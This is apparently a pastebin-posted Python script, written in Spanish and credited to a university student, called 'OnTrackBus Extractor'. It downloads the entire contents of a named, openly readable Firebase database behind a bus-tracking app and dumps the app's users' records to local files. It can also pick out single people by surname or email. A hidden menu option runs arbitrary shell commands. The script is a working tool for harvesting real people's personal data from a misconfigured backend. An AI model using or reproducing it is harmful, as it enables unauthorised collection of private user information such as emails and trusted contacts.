· 5 years ago · Jun 14, 2020, 02:28 PM
1# -*- coding: utf-8 -*-
2"""
3Creado el Viernes 22 de Mayo de 2020 a las 22:40:37
4@autor: Victor Leonardo Valle Guerra
5Extractor de Datos Ontrackbus
6Valle Guerra Victor Leonardo - 215661917
7Centro Universitario de Ciencias Exactas e Ingenierias - CUCEI
822/05/2020
9***************************************************
10* *
11* OnTrackBus Extractor *
12* 22 May 2020 *
13* -Victor Leonardo Valle Guerra *
14* 215661917 *
15* victorlvg678@gmail.com *
16* Copyright ® All rights reserved *
17* Derechos de Autor *
18* Todos los Derechos Reservados *
19* *
20***************************************************
21"""
22import os
23import subprocess
24import re
25import requests
26import sys
27import json
28
29if __name__ == '__main__':
30 def banner():
31 print("******************************")
32 print("* *")
33 print("* OnTrackBus Extractor *")
34 print("* CUCEI *")
35 print("* Victor Leonardo Valle G. *")
36 print("* 215661917 *")
37 print("* victorlvg678"+ u'\u0040'+ "gmail.com *")
38 print("* Copyright \u00AE *")
39 print("* All rights reserved *")
40 print("* Derechos de Autor *")
41 print("* Todos los Derechos *")
42 print("* Reservados *")
43 print("* *")
44 print("*******************************")
45
46 def banner1():
47 print("******************************")
48 print("* *")
49 print("* Dump *")
50 print("* CUCEI *")
51 print("* Victor Leonardo Valle G. *")
52 print("* 215661917 *")
53 print("* victorlvg678"+ u'\u0040'+ "gmail.com *")
54 print("* Copyright \u00AE *")
55 print("* All rights reserved *")
56 print("* Derechos de Autor *")
57 print("* Todos los Derechos *")
58 print("* Reservados *")
59 print("* *")
60 print("*******************************")
61
62 def banner2():
63 print("******************************")
64 print("* *")
65 print("* Busqueda *")
66 print("* CUCEI *")
67 print("* Victor Leonardo Valle G. *")
68 print("* 215661917 *")
69 print("* victorlvg678"+ u'\u0040'+ "gmail.com *")
70 print("* Copyright \u00AE *")
71 print("* All rights reserved *")
72 print("* Derechos de Autor *")
73 print("* Todos los Derechos *")
74 print("* Reservados *")
75 print("* *")
76 print("******************************")
77
78 def banner5():
79 print("******************************")
80 print("* *")
81 print("* Shellcode *")
82 print("* CUCEI *")
83 print("* Victor Leonardo Valle G. *")
84 print("* 215661917 *")
85 print("* victorlvg678"+ u'\u0040'+ "gmail.com *")
86 print("* Copyright \u00AE *")
87 print("* All rights reserved *")
88 print("* Derechos de Autor *")
89 print("* Todos los Derechos *")
90 print("* Reservados *")
91 print("* *")
92 print("******************************")
93
94 def preguntas():
95 print("Desea hacer otro dumpeo otra vez?")
96 print("1)Si")
97 print("2)No")
98 def outro():
99 print("Gracias por usar nuestro programa, hasta la proxima")
100 print("-Victor Leonardo Valle Guerra")
101
102 def cortarchar(palabra):
103 return [char for char in palabra]
104
105 def BorrarPantalla():
106 OS=str()
107 OS=os.name
108 if OS=="nt":
109 os.system("cls")
110 elif OS=="posix":
111 os.system("clear")
112 else:
113 print("Error 01:Error al borrar pantalla")
114
115 def ColorPantalla(color):
116 color=str(color)
117 OS=str()
118 OS=os.name
119 if color=="verde":
120 if OS=="nt":
121 os.system("Color A0")
122 elif OS=="posix":
123 print("\033[92m")
124 elif color=="rojo":
125 if OS=="nt":
126 os.system("Color A0")
127 elif OS=="posix":
128 print("\033[92m")
129
130 def Salir():
131 sys.exit(0)
132
133 def Directorio():
134 direct=str()
135 direct=os.getcwd()
136 return direct
137
138
139 batcmd = str()
140 op = int()
141 op2= int()
142 n= int()
143 aux1=aux= int()
144 x= int()
145 r=str()
146 directory=str()
147 f=object()
148 line=str()
149 linetemp=str()
150 r=object()
151 apellido=str()
152 archivo=str()
153 texto=str()
154 ColorPantalla("verde")
155 while n!=99:
156 n = 0
157 aux = 0
158 BorrarPantalla()
159 banner()
160 print("Que opci\u00F3n desea realizar?:")
161 print("\u24F5)Dumpear datos de los usuarios")
162 print("\u24F6)Buscar por key")
163 print("99)Salir")
164 op = int(input('\u25BA'))
165 if op==1:
166 BorrarPantalla()
167 banner1()
168 print("Que desea realizar?:")
169 print("\u24F5)Dumpear todos los datos de usuarios de OnTrackBus")
170 print("\u24F6)Dumpear por apellido")
171 print("\u24F7)Dumpear por correo")
172 print("99)Salir")
173 try:
174 op2 = int(input('\u25BA'))
175 if op2==1:
176 print("Procediendo el proceso de dumpeo")
177 r=requests.get("https://ontrackbus-b4bb5.firebaseio.com/.json")
178 r.raise_for_status()
179 print("Encoding aparente de respuesta:"+r.apparent_encoding)
180 r.encoding="UTF-8"
181 if r.status_code==200:
182 print(r.content)
183 try:
184 directory=Directorio()
185 if os.path.exists("./DumpeoTodo.txt"):
186 print("Ya existe el archivo DumpeoTodo.txt")
187 print("Procediendo a hacer appending")
188 else:
189 print("El archivo DumpeoTodo.txt no existe se creara uno nuevo")
190 f=open("./DumpeoTodo.txt","a+")
191 for line in r.text.splitlines():
192 linetemp=line
193 linetemp=linetemp.replace("\ufffd","n")
194 f.write(linetemp)
195 f.close()
196 print("Appending hecho con \u00E9xito - {0}\\DumpeoTodo.txt".format(directory))
197 except:
198 print("Error 5:Error al abrir o escribir en el archivo")
199 else:
200 print("No se pudo acceder al recurso")
201 input()
202 while aux!=1 and aux!=2:
203 BorrarPantalla()
204 banner()
205 preguntas()
206 try:
207 aux = int(input('\u25BA'))
208 if aux==2:
209 n = 99
210 outro()
211 Salir()
212 except:
213 print("Error 4:Error al manejar valor")
214 input()
215 elif op2==2:
216 print("Ingrese el apellido del usuario:")
217 apellido=str(input("\u25BAApellido:"))
218 print("Procediendo el proceso de dumpeo")
219 r=requests.get("https://ontrackbus-b4bb5.firebaseio.com/.json")
220 r.raise_for_status()
221 print("Encoding aparente de respuesta:"+r.apparent_encoding)
222 r.encoding="UTF-8"
223 if r.status_code==200:
224 #print(r.content)
225 try:
226 directory=Directorio()
227 if os.path.exists("./Dumpeo{0}.txt".format(apellido)):
228 print("Ya existe el archivo Dumpeo{0}.txt".format(apellido))
229 print("Procediendo a hacer appending")
230 else:
231 print("El archivo Dumpeo{0}.txt no existe se creara uno nuevo".format(apellido))
232 archivo="./Dumpeo"+apellido+".txt"
233 f=open(archivo,"a+")
234 texto=r.text
235 if (texto.find('"apellido":"'+apellido+'"') != -1):
236 print ("Si se encontro dicho apellido en el dumpeo")
237 texto=texto.split('"apellido":"'+apellido+'",')
238 texto=texto[1].split("},")
239 texto=texto[0]
240 for line in texto.splitlines():
241 linetemp=line
242 linetemp=linetemp.replace("\ufffd","n")
243 linetemp='{"apellido":"'+apellido+'",'+linetemp+"}"
244 print(linetemp)
245 f.write(linetemp)
246 f.close()
247 print("Appending hecho con \u00E9xito - {0}\\Dumpeo{1}.txt".format(directory,apellido))
248 else:
249 print("No se contiene dicho apellido")
250 except:
251 print("Error 5:Error al abrir o escribir en el archivo")
252 else:
253 print("No se pudo acceder al recurso")
254 input()
255 while aux!=1 and aux!=2:
256 BorrarPantalla()
257 banner()
258 preguntas()
259 try:
260 aux = int(input('\u25BA'))
261 if aux==2:
262 n = 99
263 outro()
264 Salir()
265 except:
266 print("Error 4:Error al manejar valor")
267 input()
268 elif op2==3:
269 print("Ingrese el correo del usuario:")
270 correo=str(input("\u25BACorreo:"))
271 print("Procediendo el proceso de dumpeo")
272 r=requests.get("https://ontrackbus-b4bb5.firebaseio.com/.json")
273 r.raise_for_status()
274 print("Encoding aparente de respuesta:"+r.apparent_encoding)
275 r.encoding="UTF-8"
276 if r.status_code==200:
277 #print(r.content)
278 try:
279 directory=Directorio()
280 if os.path.exists("./Dumpeo{0}.txt".format(correo)):
281 print("Ya existe el archivo Dumpeo{0}.txt".format(correo))
282 print("Procediendo a hacer appending")
283 else:
284 print("El archivo Dumpeo{0}.txt no existe se creara uno nuevo".format(correo))
285 archivo="./Dumpeo"+correo+".txt"
286 f=open(archivo,"a+")
287 texto=r.text
288 if (texto.find('"correo":"'+correo+'"') != -1):
289 print ("Si se encontro dicho correo en el dumpeo")
290 texto=texto.split('"correo":"'+correo+'",')
291 texto=texto[1].split("},")
292 texto=texto[0]
293 for line in texto.splitlines():
294 linetemp=line
295 linetemp=linetemp.replace("\ufffd","n")
296 linetemp='{"correo":"'+correo+'",'+linetemp+"}"
297 print(linetemp)
298 f.write(linetemp)
299 f.close()
300 print("Appending hecho con \u00E9xito - {0}\\Dumpeo{1}.txt".format(directory,correo))
301 else:
302 print("No se contiene dicho apellido")
303 except:
304 print("Error 5:Error al abrir o escribir en el archivo")
305 else:
306 print("No se pudo acceder al recurso")
307 input()
308 while aux!=1 and aux!=2:
309 BorrarPantalla()
310 banner()
311 preguntas()
312 try:
313 aux = int(input('\u25BA'))
314 if aux==2:
315 n = 99
316 outro()
317 Salir()
318 except:
319 print("Error 4:Error al manejar valor")
320 input()
321
322 elif op2==99:
323 n = 99
324 outro()
325 Salir()
326 else:
327 print("Opcion invalida")
328 input()
329 except:
330 print("Error 3:Error al seleccionar opcion en menu")
331
332 elif op==2:
333 BorrarPantalla()
334 banner2()
335 print("Que key desea utilizar para la busqueda?:")
336 print("\u24F5)Nombre")
337 print("\u24F6)Apellido")
338 print("\u24F7)Correo")
339 print("\u24F8)Contacto confianza")
340 print("99)Salir")
341 try:
342 op2 = int(input('\u25BA'))
343 if op2==1:
344 input()
345 while aux!=1 and aux!=2:
346 BorrarPantalla()
347 banner()
348 preguntas()
349 try:
350 aux = int(input('\u25BA'))
351 if aux==2:
352 n = 99
353 outro()
354 Salir()
355 except:
356 print("Error 4:Error al manejar valor")
357 input()
358
359 elif op2==99:
360 n = 99
361 outro()
362 Salir()
363 else:
364 print("Opcion invalida")
365 input()
366 except:
367 print("Error 3:Error al seleccionar opcion en menu")
368
369 elif op==69:
370 BorrarPantalla()
371 banner5()
372 print("Que desea realizar?:")
373 print("\u24F5)Ejecutar comandos por shell(con output)")
374 print("99)Salir")
375 op2 = int(input('\u25BA'))
376 if op2==1:
377 while batcmd !="salir" or batcmd !="Salir" or batcmd !="Salir()" or batcmd !="salir()":
378 batcmd = str(input('\u25BA'))
379 if batcmd != "salir" or batcmd != "Salir" or batcmd != "Salir()" or batcmd != "salir()":
380 try:
381 result = subprocess.check_output(batcmd, shell=True)
382 print(result)
383 except:
384 print('El comando no pudo ser ejecutado')
385 print('Verifica la sintaxis del mismo')
386 print('Los comandos entre cmd y bash pueden variar y ser diferentes')
387
388 input()
389 while aux!=1 and aux!=2:
390 BorrarPantalla()
391 banner()
392 preguntas()
393 aux = int(input('\u25BA'))
394 if aux==2:
395 n = 99
396 outro()
397 Salir()
398 elif op2==99:
399 n = 99
400 outro()
401 Salir()
402 else:
403 print("Opcion invalida")
404 input()
405
406
407 elif op==99:
408 n = 99
409 outro()
410 Salir()
411 else:
412 print("Opcion invalida")
413 input()
414 Salir()